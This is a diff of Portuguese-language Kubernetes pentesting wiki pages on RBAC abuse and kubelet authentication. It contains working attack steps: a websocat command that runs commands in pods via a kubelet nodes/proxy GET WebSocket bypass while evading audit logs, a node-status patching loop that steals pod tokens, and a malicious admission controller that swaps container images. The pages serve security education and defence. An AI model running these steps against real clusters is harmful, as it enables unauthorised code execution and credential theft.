mapeia métodos HTTP para verbos RBAC **antes** do upgrade de protocolo. WebSocket handshakes devem começar com **HTTP GET** (`Connection: Upgrade`), então `/exec` via WebSocket é verificado como **verbo `get`** ao invés do esperado `create`. +- `/exec`, `/run`, `/attach`, e `/portforward` não são mapeados explicitamente e caem no subrecurso padrão **`proxy`**, então a questão de autorização torna-se **`can get nodes/proxy?`** +- Se um token tiver apenas **`nodes/proxy` + `get`**, o acesso direto via WebSocket ao kubelet em `https://:10250` permite execução arbitrária de comandos em qualquer pod naquele node. A mesma requisição via o caminho de proxy do API server (`/api/v1/nodes//proxy/exec/...`) é negada porque é um POST HTTP normal e mapeia para `create`. +- O kubelet não realiza uma segunda autorização após o upgrade do WebSocket; apenas o GET inicial é avaliado. -Principais que podem **deletar pods** (verbo `delete` sobre o recurso `pods`), ou **evictar pods** (verbo `create` sobre o recurso `pods/eviction`), ou **mudar o status do pod** (acesso a `pods/status`) e podem **tornar outros nós não agendáveis** (acesso a `nodes/status`) ou **deletar nós** (verbo `delete` sobre o recurso `nodes`) e têm controle sobre um pod, poderiam **roubar pods de outros nós** para que sejam **executados** no **nó comprometido** e o atacante possa **roubar os tokens** desses pods. +**Direct exploit (requires network reachability to the kubelet and a token with `nodes/proxy` GET):** +```bash +kubectl auth can-i --list | grep "nodes/proxy" +websocat --insecure \ +--header "Authorization: Bearer $TOKEN" \ +--protocol "v4.channel.k8s.io" \ +"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id" +``` +- Use the **Node IP**, not the node name. The same request with `curl -X POST` will be **Forbidden** because it maps to `create`. +- O acesso direto ao kubelet contorna o API server, então o AuditPolicy mostra apenas `subjectaccessreviews` do kubelet user agent e **não registra comandos `pods/exec`**. +- Enumere os service accounts afetados com o [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) para encontrar tokens limitados a `nodes/proxy` GET. + +### Delete pods + unschedulable nodes + +Identidades que podem **delete pods** (`delete` verb over `pods` resource), ou **evict pods** (`create` verb over `pods/eviction` resource), ou **change pod status** (acesso a `pods/status`) e que podem **make other nodes unschedulable** (acesso a `nodes/status`) ou **delete nodes** (`delete` verb over `nodes` resource) e têm controle sobre um pod, podem **steal pods from other nodes** para que estes sejam **executed** no **compromised** **node** e o atacante possa **steal the tokens** desses pods. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -641,43 +657,43 @@ while true; do patch_node_capacity ; done & kubectl delete pods -n kube-system ``` -### Status dos serviços (CVE-2020-8554) +### Status de services (CVE-2020-8554) -Principais que podem **modificar** **`services/status`** podem definir o campo `status.loadBalancer.ingress.ip` para explorar a **CVE-2020-8554 não corrigida** e lançar **ataques MiTM contra o clus**ter. A maioria das mitig ações para a CVE-2020-8554 apenas previne serviços ExternalIP (de acordo com [**isso**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +Entidades que podem **modificar** **`services/status`** podem definir o campo `status.loadBalancer.ingress.ip` para explorar o **CVE-2020-8554 não corrigido** e lançar **ataques MiTM contra o cluster**. A maioria das mitigações para o CVE-2020-8554 apenas evita serviços ExternalIP (de acordo com [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). -### Status de Nós e Pods +### Status de nodes e pods -Principais com permissões de **`update`** ou **`patch`** sobre `nodes/status` ou `pods/status`, poderiam modificar rótulos para afetar as restrições de agendamento impostas. +Entidades com permissões **`update`** ou **`patch`** sobre `nodes/status` ou `pods/status` podem modificar rótulos para afetar restrições de agendamento aplicadas. -## Prevenção de Escalação de Privilégios Integrada +## Prevenção embutida de escalada de privilégios -Kubernetes possui um [mecanismo integrado](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir a escalada de privilégios. +Kubernetes tem um [mecanismo embutido](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir escalada de privilégios. -Este sistema garante que **os usuários não podem elevar seus privilégios modificando funções ou vinculações de funções**. A aplicação desta regra ocorre no nível da API, fornecendo uma proteção mesmo quando o autorizador RBAC está inativo. +Esse sistema garante que **os usuários não possam elevar seus privilégios modificando roles ou role bindings**. A aplicação dessa regra ocorre no nível da API, oferecendo uma salvaguarda mesmo quando o autorizador RBAC está inativo. -A regra estipula que um **usuário só pode criar ou atualizar uma função se possuir todas as permissões que a função compreende**. Além disso, o escopo das permissões existentes do usuário deve alinhar-se com o da função que ele está tentando criar ou modificar: seja em todo o cluster para ClusterRoles ou restrito ao mesmo namespace (ou em todo o cluster) para Roles. +A regra estipula que um **usuário só pode criar ou atualizar um role se possuir todas as permissões que o role compreende**. Além disso, o escopo das permissões existentes do usuário deve alinhar-se com o do role que ele está tentando criar ou modificar: seja em todo o cluster para ClusterRoles ou confinado ao mesmo namespace (ou em todo o cluster) para Roles. > [!WARNING] -> Há uma exceção à regra anterior. Se um principal tem o **verbo `escalate`** sobre **`roles`** ou **`clusterroles`**, ele pode aumentar os privilégios de roles e clusterroles mesmo sem ter as permissões. +> Há uma exceção à regra anterior. Se um principal tiver o **verbo `escalate`** sobre **`roles`** ou **`clusterroles`** ele pode aumentar os privilégios de roles e clusterroles mesmo sem possuir as permissões ele próprio. -### **Obter & Patch RoleBindings/ClusterRoleBindings** +### **Get & Patch RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **Aparentemente, essa técnica funcionou antes, mas de acordo com meus testes, não está mais funcionando pela mesma razão explicada na seção anterior. Você não pode criar/modificar um rolebinding para dar a si mesmo ou a um SA diferente alguns privilégios se você não os tiver.** +> **Aparentemente essa técnica funcionou antes, mas de acordo com meus testes não está mais funcionando pelo mesmo motivo explicado na seção anterior. Você não pode criar/modificar um rolebinding para se dar (ou dar a uma SA diferente) alguns privilégios se você já não os possuir.** -O privilégio de criar Rolebindings permite que um usuário **vincule funções a uma conta de serviço**. Esse privilégio pode potencialmente levar à escalada de privilégios porque **permite que o usuário vincule privilégios de administrador a uma conta de serviço comprometida.** +O privilégio de criar Rolebindings permite que um usuário **vincule roles a uma service account**. Esse privilégio pode potencialmente levar à escalada de privilégios porque **permite ao usuário vincular privilégios de admin a uma service account comprometida.** ## Outros Ataques -### Aplicativo proxy Sidecar +### Sidecar proxy app -Por padrão, não há criptografia na comunicação entre pods. Autenticação mútua, bidirecional, pod a pod. +Por padrão não há nenhuma criptografia na comunicação entre pods. Autenticação mútua, bidirecional, pod para pod. -#### Criar um aplicativo proxy Sidecar +#### Criar um sidecar proxy app -Um contêiner sidecar consiste apenas em adicionar um **segundo (ou mais) contêiner dentro de um pod**. +Um container sidecar consiste simplesmente em adicionar um **segundo (ou mais) container dentro de um pod**. -Por exemplo, o seguinte é parte da configuração de um pod com 2 contêineres: +Por exemplo, o seguinte é parte da configuração de um pod com 2 containers: ```yaml spec: containers: @@ -687,15 +703,15 @@ image: nginx image: busybox command: ["sh","-c",""] ``` -Por exemplo, para backdoor um pod existente com um novo contêiner, você poderia simplesmente adicionar um novo contêiner na especificação. Note que você poderia **dar mais permissões** ao segundo contêiner que o primeiro não terá. +Por exemplo, para inserir uma backdoor em um pod existente com um novo container, você poderia simplesmente adicionar um novo container na especificação. Note que você poderia **dar mais permissões** ao segundo container do que o primeiro não teria. Mais informações em: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) -### Controlador de Admissão Malicioso +### Admission Controller Malicioso -Um controlador de admissão **intercepta solicitações ao servidor API do Kubernetes** antes da persistência do objeto, mas **depois que a solicitação é autenticada** **e autorizada**. +Um admission controller **intercepta requisições para o Kubernetes API server** antes da persistência do objeto, mas **depois que a requisição é autenticada** **e autorizada**. -Se um atacante conseguir **injetar um Controlador de Admissão de Mutação**, ele poderá **modificar solicitações já autenticadas**. Sendo capaz de potencialmente realizar privesc, e mais comumente persistir no cluster. +Se um atacante de alguma forma conseguir **injetar um Mutation Admission Controller**, ele será capaz de **modificar requisições já autenticadas**. Isso pode possibilitar privesc e, mais comumente, persistir no cluster. **Exemplo de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -711,23 +727,23 @@ kubectl get deploy,svc -n webhook-demo ``` ![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp) -Então, implante um novo pod: +Em seguida, crie um novo pod: ```bash kubectl run nginx --image nginx kubectl get po -w ``` -Quando você vê o erro `ErrImagePull`, verifique o nome da imagem com uma das consultas: +Quando você vir o erro `ErrImagePull`, verifique o nome da imagem com uma das consultas: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -Como você pode ver na imagem acima, tentamos executar a imagem `nginx`, mas a imagem final executada é `rewanthtammana/malicious-image`. O que aconteceu!!? +Como você pode ver na imagem acima, tentamos executar a imagem `nginx`, mas a imagem finalmente executada foi `rewanthtammana/malicious-image`. O que aconteceu!? -#### Technicalities +#### Detalhes técnicos -O script `./deploy.sh` estabelece um controlador de admissão de webhook mutável, que modifica as solicitações à API do Kubernetes conforme especificado em suas linhas de configuração, influenciando os resultados observados: +O script `./deploy.sh` instala um mutating webhook admission controller, que altera as requisições à Kubernetes API conforme especificado nas suas linhas de configuração, causando os resultados observados: ``` patches = append(patches, patchOperation{ Op: "replace", @@ -735,28 +751,28 @@ Path: "/spec/containers/0/image", Value: "rewanthtammana/malicious-image", }) ``` -O trecho acima substitui a primeira imagem do contêiner em cada pod por `rewanthtammana/malicious-image`. +O trecho acima substitui a primeira imagem do container em cada pod por `rewanthtammana/malicious-image`. -## Bypass do OPA Gatekeeper +## OPA Gatekeeper bypass {{#ref}} ../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md {{#endref}} -## Melhores Práticas +## Boas práticas -### **Desabilitando o Automontagem de Tokens de Conta de Serviço** +### **Desativar montagem automática de tokens de Service Account** -- **Pods e Contas de Serviço**: Por padrão, os pods montam um token de conta de serviço. Para aumentar a segurança, o Kubernetes permite desabilitar esse recurso de automontagem. -- **Como Aplicar**: Defina `automountServiceAccountToken: false` na configuração de contas de serviço ou pods a partir da versão 1.6 do Kubernetes. +- **Pods e Service Accounts**: Por padrão, os pods montam um service account token. Para aumentar a segurança, o Kubernetes permite a desabilitação dessa montagem automática. +- **Como aplicar**: Defina `automountServiceAccountToken: false` na configuração de service accounts ou pods a partir da versão Kubernetes 1.6. -### **Atribuição Restritiva de Usuários em RoleBindings/ClusterRoleBindings** +### **Atribuição restritiva de usuários em RoleBindings/ClusterRoleBindings** -- **Inclusão Seletiva**: Certifique-se de que apenas os usuários necessários estejam incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança rigorosa. +- **Inclusão seletiva**: Garanta que apenas os usuários necessários estejam incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança restrita. -### **Papéis Específicos de Namespace em vez de Papéis de Cluster** +### **Roles específicas de namespace em vez de Roles em todo o cluster** -- **Papéis vs. ClusterRoles**: Prefira usar Roles e RoleBindings para permissões específicas de namespace em vez de ClusterRoles e ClusterRoleBindings, que se aplicam em todo o cluster. Essa abordagem oferece um controle mais fino e limita o escopo das permissões. +- **Roles vs. ClusterRoles**: Prefira usar Roles e RoleBindings para permissões específicas de namespace em vez de ClusterRoles e ClusterRoleBindings, que se aplicam ao cluster inteiro. Essa abordagem oferece controle mais refinado e limita o escopo das permissões. ### **Use ferramentas automatizadas** @@ -779,5 +795,8 @@ https://github.com/aquasecurity/kube-bench - [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) - [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html) - [**https://kubenomicon.com/**](https://kubenomicon.com/) +- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) +- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) +- [websocat](https://github.com/vi/websocat) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md index 67a112600..4abb77943 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -1,24 +1,24 @@ -# Kubelet Authentication & Authorization +# Autenticação e Autorização do Kubelet {{#include ../../../banners/hacktricks-training.md}} -## Kubelet Authentication +## Autenticação do Kubelet -[**Do docs:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) -Por padrão, as solicitações para o endpoint HTTPS do kubelet que não são rejeitadas por outros métodos de autenticação configurados são tratadas como solicitações anônimas, e recebem um **nome de usuário de `system:anonymous`** e um **grupo de `system:unauthenticated`**. +Por padrão, solicitações ao endpoint HTTPS do kubelet que não sejam rejeitadas por outros métodos de autenticação configurados são tratadas como solicitações anônimas, e recebem um **nome de usuário `system:anonymous`** e um **grupo `system:unauthenticated`**. -Os **3** métodos de **autenticação** são: +Os **3** métodos de autenticação são: -- **Anônimo** (padrão): Use definindo o parâmetro **`--anonymous-auth=true` ou a configuração:** +- **Anonymous** (default): Defina o parâmetro **`--anonymous-auth=true`** ou a configuração: ```json "authentication": { "anonymous": { "enabled": true }, ``` -- **Webhook**: Isso irá **habilitar** os **tokens bearer** da API kubectl como autorização (qualquer token válido será aceito). Permita com: -- certifique-se de que o grupo de API `authentication.k8s.io/v1beta1` está habilitado no servidor da API +- **Webhook**: Isto irá **habilitar** os API bearer tokens do kubectl como autorização (qualquer token válido será aceito). Permita-o com: +- certifique-se de que o grupo de API `authentication.k8s.io/v1beta1` esteja habilitado no API server - inicie o kubelet com as flags **`--authentication-token-webhook`** e **`--kubeconfig`** ou use a seguinte configuração: ```json "authentication": { @@ -28,11 +28,11 @@ Os **3** métodos de **autenticação** são: }, ``` > [!NOTE] -> O kubelet chama a **`TokenReview` API** no servidor API configurado para **determinar informações do usuário** a partir de tokens bearer +> O kubelet chama a **`TokenReview` API** no API server configurado para **determinar informações do usuário** a partir de bearer tokens -- **Certificados de cliente X509:** Permitem autenticar via certificados de cliente X509 -- veja a [documentação de autenticação do apiserver](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) para mais detalhes -- inicie o kubelet com a flag `--client-ca-file`, fornecendo um bundle CA para verificar os certificados de cliente. Ou com a configuração: +- **X509 client certificates:** Permitem autenticação via X509 client certs +- veja a [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) para mais detalhes +- inicie o kubelet com a flag `--client-ca-file`, fornecendo um CA bundle para verificar certificados de cliente. Ou com a config: ```json "authentication": { "x509": { @@ -40,14 +40,14 @@ Os **3** métodos de **autenticação** são: } } ``` -## Kubelet Authorization +## Autorização do Kubelet -Qualquer solicitação que seja autenticada com sucesso (incluindo uma solicitação anônima) **é então autorizada**. O modo de autorização **padrão** é **`AlwaysAllow`**, que **permite todas as solicitações**. +Qualquer requisição que seja autenticada com sucesso (incluindo uma requisição anônima) **é então autorizada**. O modo de autorização **padrão** é **`AlwaysAllow`**, que **permite todas as requisições**. -No entanto, o outro valor possível é **`webhook`** (que é o que você encontrará **principalmente por aí**). Este modo **verificará as permissões do usuário autenticado** para permitir ou negar uma ação. +No entanto, o outro valor possível é **`webhook`** (que é o que você **principalmente encontrará por aí**). Este modo irá **verificar as permissões do usuário autenticado** para permitir ou negar uma ação. > [!WARNING] -> Observe que mesmo se a **autenticação anônima estiver habilitada**, o **acesso anônimo** pode **não ter permissões** para realizar qualquer ação. +> Observe que mesmo se a **autenticação anônima estiver habilitada**, o **acesso anônimo** pode **não ter nenhuma permissão** para executar qualquer ação. A autorização via webhook pode ser configurada usando o **param `--authorization-mode=Webhook`** ou via o arquivo de configuração com: ```json @@ -59,41 +59,45 @@ A autorização via webhook pode ser configurada usando o **param `--authorizati } }, ``` -O kubelet chama a **`SubjectAccessReview`** API no servidor API configurado para **determinar** se cada solicitação está **autorizada.** +O kubelet chama a API **`SubjectAccessReview`** no API server configurado para **determinar** se cada requisição está **autorizada.** -O kubelet autoriza solicitações de API usando a mesma abordagem de [atributos de solicitação](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) que o apiserver: +O kubelet autoriza API requests usando a mesma abordagem de [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) que o apiserver: - **Ação** -| Verbo HTTP | verbo de solicitação | -| ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| POST | criar | -| GET, HEAD | obter (para recursos individuais), listar (para coleções, incluindo conteúdo completo do objeto), assistir (para assistir a um recurso individual ou coleção de recursos) | -| PUT | atualizar | -| PATCH | patch | -| DELETE | deletar (para recursos individuais), deletecollection (para coleções) | +| Verbo HTTP | verbo de requisição | +| ---------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- | +| POST | create | +| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | +| PUT | update | +| PATCH | patch | +| DELETE | delete (for individual resources), deletecollection (for collections) | -- O **recurso** que se comunica com a API do Kubelet é **sempre** **nós** e o **subrecurso** é **determinado** a partir do caminho da solicitação recebida: +- O **resource** que fala com a Kubelet api é **sempre** **nodes** e o **subresource** é **determinado** a partir do caminho da requisição de entrada: -| API do Kubelet | recurso | subrecurso | -| --------------- | ------- | ---------- | -| /stats/\* | nós | stats | -| /metrics/\* | nós | metrics | -| /logs/\* | nós | log | -| /spec/\* | nós | spec | -| _todos os outros_ | nós | proxy | +| Kubelet API | resource | subresource | +| ------------ | -------- | ----------- | +| /stats/\* | nodes | stats | +| /metrics/\* | nodes | metrics | +| /logs/\* | nodes | log | +| /spec/\* | nodes | spec | +| _all others_ | nodes | proxy | -Por exemplo, a seguinte solicitação tentou acessar as informações dos pods do kubelet sem permissão: +> [!NOTE] +> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details. + +Por exemplo, a requisição a seguir tentou acessar as informações dos pods do kubelet sem permissão: ```bash curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods' Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy) ``` -- Recebemos um **Forbidden**, então a solicitação **passou na verificação de Autenticação**. Se não, teríamos recebido apenas uma mensagem `Unauthorised`. -- Podemos ver o **nome de usuário** (neste caso, do token) -- Verifique como o **recurso** era **nodes** e o **subrecurso** **proxy** (o que faz sentido com as informações anteriores) +- Recebemos um **Forbidden**, então a solicitação **passou a verificação de Authentication**. Caso contrário, teríamos recebido apenas a mensagem `Unauthorised`. +- Podemos ver o **username** (neste caso a partir do token) +- Repare como o **resource** foi **nodes** e o **subresource** **proxy** (o que faz sentido com a informação anterior) ## Referências - [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) {{#include ../../../banners/hacktricks-training.md}}